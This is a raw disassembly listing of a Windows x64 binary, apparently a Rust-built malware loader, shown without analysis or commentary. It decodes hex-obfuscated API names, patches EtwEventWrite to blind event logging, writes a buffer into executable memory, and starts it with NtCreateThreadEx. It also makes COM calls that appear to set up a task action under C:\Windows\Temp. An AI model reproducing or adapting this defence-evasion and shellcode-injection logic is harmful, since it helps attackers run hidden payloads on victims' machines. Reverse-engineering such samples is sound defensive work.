movdqa xmm0, xmmword [rbp + 0xa00]
movdqa xmm1, xmmword [rbp + 0xa10]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov r8d, 0x21e
lea rcx, [rbp + 0x732]
lea rdx, [rbp + 0x60]
call fcn.140106250
mov qword [rbp + 0x6f8], rsi
movzx eax, word [rbp + 0xab8]
mov word [rbp + 0x72c], ax
mov eax, dword [rbp + 0xad0]
mov word [rbp + 0x72e], ax
movzx eax, word [rbp + 0xaa8]
mov word [rbp + 0x730], ax
mov rcx, rsi
test rcx, rcx
je 0x14000e8c4
inc rbx
xor r12d, r12d
lock dec qword [rcx]
jne 0x14000e752
call fcn.1400065d0
jmp 0x14000e752
mov r15, qword [rbp + 0x700]
inc rbx
mov eax, r15d
and eax, 3
xor r12d, r12d
cmp eax, 1
jne 0x14000e752
mov rsi, r13
mov r12, qword [r15 - 1]
mov r13, qword [r15 + 7]
mov rcx, r12
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14000e730
cmp qword [r13 + 0x10], 0x11
jb 0x14000e71e
mov r12, qword [r12 - 8]
jmp 0x14000e71e
xor ebx, ebx
mov rcx, r13
call qword [sym.imp.kernel32.dll_FindClose]
lock dec qword [rsi]
jne 0x14000e92b
mov rcx, rsi
call fcn.1400065d0
mov qword [rbp + 0x60], rbx
lea rax, [rbp + 0x60]
mov qword [rbp + 0x3e0], rax
lea rax, [fcn.140012f00]
mov qword [rbp + 0x3e8], rax
lea rax, [0x1401133e0]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rdi
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0x6f0]
call fcn.1400de5e0
cmp qword [rbp + 0x970], 0
je 0x14000d7f3
mov r8, qword [rbp + 0x978]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d7f3
mov ebx, eax
shl rbx, 0x20
test r14, r14
mov r14, qword [rbp + 0xad8]
je 0x14000e9d7
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
or rbx, 2
mov r15, rbx
cmp qword [rbp + 0xac0], 0
lea rdi, [rbp + 0x60]
jne 0x14000e098
jmp 0x14000e0ae
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 1
mov edx, 1
call fcn.140107fe0
mov rbx, r15
sub r15, rbx
mov rax, qword [rbp + 0x6f0]
sub rax, r10
cmp rax, r15
jae 0x14000ea48
lea rcx, [rbp + 0x6f0]
mov rdx, r10
mov r8, r15
call fcn.140110070
mov rcx, qword [rbp + 0x6f8]
mov r10, qword [rbp + 0x700]
add r12, rbx
add rcx, r10
mov rdx, r12
mov r8, r15
mov rsi, r10
call fcn.140106250
add r15, rsi
mov rax, qword [rbp + 0x6f0]
mov r12, qword [rbp + 0x6f8]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000eabf
test r15, r15
je 0x14000eaa6
js 0x14001031a
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x14001031f
mov rbx, rax
jmp 0x14000eaab
mov ebx, 1
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.140106250
mov rax, r15
mov r12, rbx
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x698], r12
mov qword [rbp + 0x6a0], r15
test r14, r14
je 0x14000eaeb
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rbp + 0x690]
mov qword [rbp + 0x970], rax
lea rax, [0x140006e70]
mov qword [rbp + 0x978], rax
lea rax, [0x140113308]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 1
mov qword [rbp + 0x710], 0
lea rax, [rbp + 0x970]
mov qword [rbp + 0x700], rax
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.140011100
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0xad8], rax
mov rsi, qword [rbp + 0xa08]
mov r14, qword [rbp + 0xa10]
lea rax, str.actionC:WindowsTemp_
mov qword [rbp + 0x6f0], rax
lea rax, [0x1401132f6]
mov qword [rbp + 0x6f8], rax
mov word [rbp + 0x700], 0
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.140100520
mov rbx, qword [rbp + 0xa08]
mov rdx, qword [rbp + 0xa10]
test rdx, rdx
je 0x14000ef39
mov rcx, rbx
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0xa00], 0
je 0x14000ebea
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add r14, rsi
mov qword [rbp + 0x6f0], rsi
mov qword [rbp + 0x6f8], r14
mov word [rbp + 0x700], 0
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.140100520
mov r14, qword [rbp + 0xa08]
mov rdx, qword [rbp + 0xa10]
test rdx, rdx
je 0x14000ef4e
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rbx, rax
cmp qword [rbp + 0xa00], 0
je 0x14000ec56
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x6f0], 1
mov qword [rbp + 0x6f8], 1
mov word [rbp + 0x700], 0
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.140100520
mov r14, qword [rbp + 0xa08]
mov rdx, qword [rbp + 0xa10]
test rdx, rdx
je 0x14000ef63
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0xa00], 0
je 0x14000ecc7
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x6f0], 1
mov qword [rbp + 0x6f8], 1
mov word [rbp + 0x700], 0
lea rcx, [rbp + 0xa00]
lea r14, [rbp + 0x6f0]
mov rdx, r14
call fcn.140100520
mov r12, qword [rbp + 0xa08]
mov rdx, qword [rbp + 0xa10]
test rdx, rdx
je 0x14000ef79
mov rcx, r12
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r13, rax
cmp qword [rbp + 0xa00], 0
je 0x14000ed3b
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r13
cmp qword [rbp + 0xad8], 0
je 0x14000ed67
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor r12d, r12d
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov r15b, 1
test eax, eax
js 0x14000f096
mov qword [rbp + 0x6f0], 0
mov qword [rsp + 0x20], r14
lea rcx, [0x140172d70]
lea r9, [0x140172d38]
xor edx, edx
mov r8d, 0x17
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rbx, qword [rbp + 0x6f0]
test eax, eax
js 0x14000ef8f
test rbx, rbx
je 0x14000efb0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x6c8], xmm0
movdqu xmmword [rbp + 0x978], xmm0
movdqu xmmword [rbp + 0xa08], xmm0
movdqu xmmword [rbp + 0x6f8], xmm0
mov rax, qword [rbx]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x6c0], 0
mov qword [rbp + 0x970], 0
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0x6f0], 0
mov qword [rsp + 0x20], r14
lea r12, [rbp + 0x6c0]
lea rdi, [rbp + 0x970]
lea r9, [rbp + 0xa00]
mov rcx, rbx
mov rdx, r12
mov r8, rdi
call rax
test eax, eax
js 0x14000efa7
mov qword [rbp + 0x6f0], 0
mov rax, qword [rbx]
lea r8, [rbp + 0x6f0]
mov rcx, rbx
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x14000efc5
mov r14, qword [rbp + 0x6f0]
test r14, r14
je 0x14000efd4
mov qword [rbp + 0x6f0], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x6f0]
mov rcx, r14
call qword [rax + 0x48]
test eax, eax
js 0x14000efdc
mov rsi, qword [rbp + 0x6f0]
test rsi, rsi
je 0x14000efeb
mov qword [rbp + 0x6f0], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x6f0]
mov rcx, r14
call qword [rax + 0x38]
test eax, eax
js 0x14000eff3
mov rax, qword [rbp + 0x6f0]
test rax, rax
je 0x14000efff
mov qword [rbp + 0xad8], rax
lea rcx, [rbp + 0x6f0]
mov rdx, r14
call fcn.140101410
cmp qword [rbp + 0x6f0], 0
mov r13, qword [rbp + 0x6f8]
jne 0x14000f06b
lea rcx, [rbp + 0x6f0]
mov rdx, r14
call fcn.1401013a0
cmp qword [rbp + 0x6f0], 0
mov rax, qword [rbp + 0x6f8]
je 0x14000f004
mov rdi, rax
jmp 0x14000f05e
xor edi, edi
cmp qword [rbp + 0xa00], 0
jne 0x14000ebd8
jmp 0x14000ebea
xor ebx, ebx
cmp qword [rbp + 0xa00], 0
jne 0x14000ec44
jmp 0x14000ec56
xor r15d, r15d
cmp qword [rbp + 0xa00], 0
jne 0x14000ecb5
jmp 0x14000ecc7
xor r13d, r13d
cmp qword [rbp + 0xa00], 0
jne 0x14000ed29
jmp 0x14000ed3b
mov ecx, eax
call fcn.140100860
mov r12, rax
test rbx, rbx
jne 0x14000f08d
jmp 0x14000f096
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
xor r12d, r12d
mov rcx, qword [rbp + 0x60]
test rcx, rcx
jne 0x14000f09f
jmp 0x14000f0c7
mov ecx, eax
call fcn.140100860
mov r12, rax
jmp 0x14000f08d
xor r12d, r12d
jmp 0x14000f08d
mov ecx, eax
call fcn.140100860
mov r12, rax
jmp 0x14000f084
xor r12d, r12d
jmp 0x14000f084
mov ecx, eax
call fcn.140100860
mov r12, rax
jmp 0x14000f07b
xor r12d, r12d
jmp 0x14000f07b
mov qword [rbp + 0xab8], rax
lea rcx, [0x1401496a8]
mov edx, 1
call fcn.1401004a0
lea rcx, [rbp + 0x6f0]
mov rdx, rbx
mov r8, rax
call fcn.140101650
cmp qword [rbp + 0x6f0], 0
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0xad0], rax
je 0x14000f8fa
mov rcx, qword [rbp + 0xab8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rdi, qword [rbp + 0xad0]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov r13, rdi
mov rcx, qword [rbp + 0xad8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r12, r13
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x14000f0c7
mov qword [rbp + 0x6f0], 0
lea rax, [rbp + 0x60]
mov qword [rbp + 0x6f8], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x6f0]
call fcn.140100450
mov rcx, qword [rbp + 0x68]
test rcx, rcx
je 0x14000f0f8
lea rax, [rbp + 0x68]
mov qword [rbp + 0x6f0], 0
mov qword [rbp + 0x6f8], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x6f0]
call fcn.140100450
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x14000f129
mov qword [rbp + 0x6f0], 0
lea rax, [rbp + 0x70]
mov qword [rbp + 0x6f8], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x6f0]
call fcn.140100450
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x14000f15a
lea rax, [rbp + 0x78]
mov qword [rbp + 0x6f0], 0
mov qword [rbp + 0x6f8], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x6f0]
call fcn.140100450
cmp qword [rbp + 0x690], 0
je 0x14000f17a
mov r8, qword [rbp + 0x698]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15b, r15b
je 0x14000f1a9
lea rsi, [rbp + 0x2c8]
lea rdi, [rbp + 0x2d0]
lea rcx, [rbp + 0x2c0]
call fcn.140100820
mov rcx, rsi
call fcn.140100820
mov rcx, rdi
call fcn.140100820
test r12, r12
je 0x14000f1b8
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400d5da0
call sub.kernel32.dll_GetCurrentProcess
mov rsi, rax
lea rdx, str.4574774576656e745772697465
lea rcx, [rbp + 0x6f0]
mov r8d, 0x1a
call fcn.140004760
mov rax, qword [rbp + 0x6f0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140010285
mov rdx, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x700]
cmp rcx, 0x10
jae 0x14000f238
test rcx, rcx
je 0x14000f2e3
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x1400100bc
inc r9
cmp rcx, r9
jne 0x14000f220
jmp 0x14000f2e3
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f24e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f27c
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x1400100bc
inc r9
cmp r8, r9
jne 0x14000f260
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f2be
movdqa xmm0, xmmword [0x140112770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f2be
add r8, 0x10
cmp r8, r9
jbe 0x14000f290
mov r10, rcx
sub r10, r8
je 0x14000f2e3
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x1400100b9
inc r9
cmp r10, r9
jne 0x14000f2d0
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
lea rcx, [rbp + 0x6f0]
call fcn.140010c30
mov r15, rax
mov rbx, rdx
lea rdx, str.6e74646c6c2e646c6c
lea rcx, [rbp + 0x6f0]
mov r8d, 0x12
call fcn.140004760
mov rax, qword [rbp + 0x6f0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14001029c
mov rdx, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x700]
cmp rcx, 0x10
jae 0x14000f378
test rcx, rcx
je 0x14000f423
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x1400100e4
inc r9
cmp rcx, r9
jne 0x14000f360
jmp 0x14000f423
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f38e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f3bc
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x1400100e4
inc r9
cmp r8, r9
jne 0x14000f3a0
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f3fe
movdqa xmm0, xmmword [0x140112770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f3fe
add r8, 0x10
cmp r8, r9
jbe 0x14000f3d0
mov r10, rcx
sub r10, r8
je 0x14000f423
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x1400100e1
inc r9
cmp r10, r9
jne 0x14000f410
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
lea rcx, [rbp + 0x6f0]
call fcn.140010c30
mov r14, rax
mov rdi, rdx
lea rdx, str.4e7450726f746563745669727475616c4d656d6f7279
lea rcx, [rbp + 0x6f0]
mov r8d, 0x2c
call fcn.140004760
mov rax, qword [rbp + 0x6f0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400102b3
mov rdx, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x700]
cmp rcx, 0x10
jae 0x14000f4b8
test rcx, rcx
je 0x14000f563
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x14001010c
inc r9
cmp rcx, r9
jne 0x14000f4a0
jmp 0x14000f563
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f4ce
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f4fc
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14001010c
inc r9
cmp r8, r9
jne 0x14000f4e0
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f53e
movdqa xmm0, xmmword [0x140112770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f53e
add r8, 0x10
cmp r8, r9
jbe 0x14000f510
mov r10, rcx
sub r10, r8
je 0x14000f563
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x140010109
inc r9
cmp r10, r9
jne 0x14000f550
mov qword [rbp + 0xad0], rdi
mov qword [rbp + 0xad8], rbx
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
lea rcx, [rbp + 0x6f0]
call fcn.140010c30
mov r12, rax
mov r13, rdx
mov rcx, r14
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdi, r15
mov rdx, r15
call sub.kernel32.dll_GetProcAddress
mov rbx, rax
mov rcx, r14
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdx, r12
call sub.kernel32.dll_GetProcAddress
mov r15, rax
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, rbx
mov r9d, 4
call rax
mov qword [rsp + 0x20], 0
lea r8, [0x140113510]
mov r9d, 4
mov rcx, rsi
mov rdx, rbx
call sub.kernel32.dll_WriteProcessMemory
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, rbx
xor r9d, r9d
call r15
mov r8d, 4
mov rcx, rsi
mov rdx, rbx
call sub.kernel32.dll_FlushInstructionCache
mov byte [r12], 0
test r13, r13
je 0x14000f64d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r14], 0
cmp qword [rbp + 0xad0], 0
lea rsi, [0x140113240]
mov r15, qword [rbp + 0x960]
je 0x14000f67b
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi], 0
cmp qword [rbp + 0xad8], 0
mov r12, qword [rbp + 0x968]
je 0x14000f6a1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x6f0], rsi
mov qword [rbp + 0x6f8], 1
mov qword [rbp + 0x700], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x708], xmm0
lea rcx, [rbp + 0x6f0]
call fcn.1400de5e0
mov qword [rbp + 0x60], 0
mov r14, qword [rbp + 0xac8]
mov qword [rbp + 0x3e0], r14
mov dword [rbp + 0x2c0], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
mov rbx, qword [rbp + 0x9d8]
jne 0x14000f72d
call fcn.14004aae0
test rax, rax
je 0x1400102e7
mov rsi, qword [rax]
inc qword [rsi]
je 0x140010648
mov rax, qword [rsi + 0x110]
cmp rax, 0x40
jb 0x14000f77f
lea rdx, [rsi + 0x10]
lea rcx, [rsi + 0x120]
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000f778
cmp qword [rsi + 0x160], 0
js 0x14000f778
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
call fcn.14004ae80
jmp 0x14000f77d
call fcn.140004600
xor eax, eax
mov edi, dword [rsi + rax*4 + 0x10]
inc rax
mov qword [rsi + 0x110], rax
and edi, 1
or edi, 0x1000
dec qword [rsi]
jne 0x14000f7b3
dec qword [rsi + 8]
jne 0x14000f7b3
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x28], 0x40
lea rsi, [rbp + 0x60]
lea rdi, [rbp + 0x3e0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x60]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9d, 0x50
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp + 0x6f0], 0
mov rax, qword [rbp + 0x60]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0x6f0]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp + 0x6f0]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test r15, r15
je 0x14000f89f
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 1
cmp qword [rbp + 0x958], 0
je 0x14000f8c8
mov rcx, qword [0x140182260]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0xab0]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000bc4d
xor esi, esi
jmp 0x14000bc4d
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013eb28]
lea r8, [rbp + 0xae7]
mov edx, 0x17
call fcn.140108600
mov qword [rbp + 0xaa8], r13
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x700], xmm1
movdqa xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0xa00], 0
mov rax, qword [rsi]
lea r8, [rbp + 0xa00]
mov qword [rbp + 0xac0], rsi
mov rcx, rsi
mov edx, 6
call qword [rax + 0x50]
test eax, eax
js 0x14000ff37
mov r13, qword [rbp + 0xa00]
test r13, r13
je 0x14000ff43
mov qword [rbp + 0xa00], 0
mov rax, qword [r13]
lea rdx, [0x140172d28]
lea r8, [rbp + 0xa00]
mov rcx, r13
call qword [rax]
mov rbx, qword [rbp + 0xa00]
test eax, eax
js 0x14000ff48
test rbx, rbx
je 0x14000ff7e
mov rdx, qword [rbp + 0x6f0]
mov rax, qword [rbx]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, rbx
call rax
mov r15d, eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fa02
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov sil, 1
test r15d, r15d
js 0x14000ff74
mov rax, qword [rbx]
mov rcx, rbx
mov dx, 1
call qword [rax + 0x98]
test eax, eax
js 0x14000ff74
mov rdx, qword [rbp + 0x700]
mov rax, qword [rbx]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, rbx
call rax
mov r15d, eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fa85
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
test r15d, r15d
js 0x1400100af
mov qword [rbp + 0xa00], 0
mov rax, qword [rbx]
lea rdx, [rbp + 0xa00]
mov rcx, rbx
call qword [rax + 0x50]
test eax, eax
js 0x140010153
mov r15, qword [rbp + 0xa00]
test r15, r15
je 0x1400100af
mov rdx, qword [rbp + 0x6f8]
mov rax, qword [r15]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0xa00], 1
lea rsi, [rbp + 0xa08]
mov qword [rbp + 0xa08], rdx
mov rcx, r15
call rax
mov dword [rbp + 0xaa0], eax
mov rcx, rsi
call fcn.140100820
cmp dword [rbp + 0xaa0], 0
js 0x140010161
movzx edx, word [rbp + 0x708]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x60]
test eax, eax
js 0x140010161
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0x60]
movdqu xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x700], xmm1
movdqa xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0xa00], 0
mov rcx, qword [rbp + 0xaa8]
mov rax, qword [rcx]
lea r8, [rbp + 0xa00]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
js 0x1400101d1
mov rbx, qword [rbp + 0xa00]
test rbx, rbx
je 0x140010312
mov qword [rbp + 0xa00], 0
mov rax, qword [rbx]
lea rdx, str.MbLk
lea r8, [rbp + 0xa00]
mov rcx, rbx
call qword [rax]
mov r15, qword [rbp + 0xa00]
test eax, eax
js 0x14001032c
test r15, r15
je 0x1400103ab
mov rdx, qword [rbp + 0x6f8]
mov rax, qword [r15]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, r15
call rax
mov dword [rbp + 0xaa0], eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fc2a
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov r13b, 1
cmp dword [rbp + 0xaa0], 0
js 0x140010346
mov rdx, qword [rbp + 0x6f0]
mov rax, qword [r15]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, r15
call rax
mov esi, eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fc98
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
test esi, esi
js 0x140010346
mov rdx, qword [rbp + 0x700]
mov rax, qword [r15]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, r15
call rax
mov r13d, eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fcff
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov sil, 1
test r13d, r13d
js 0x14001052d
mov rdx, qword [rbp + 0x708]
mov rax, qword [r15]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x970], 1
mov qword [rbp + 0x978], rdx
mov rcx, r15
call rax
mov r13d, eax
mov rcx, qword [rbp + 0x978]
test rcx, rcx
je 0x14000fd6a
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x978]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
test r13d, r13d
js 0x140010563
movabs rsi, 0xffffffff00000000
mov r13, qword [rbp + 0xac0]
and rsi, r13
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rax, qword [rbx]
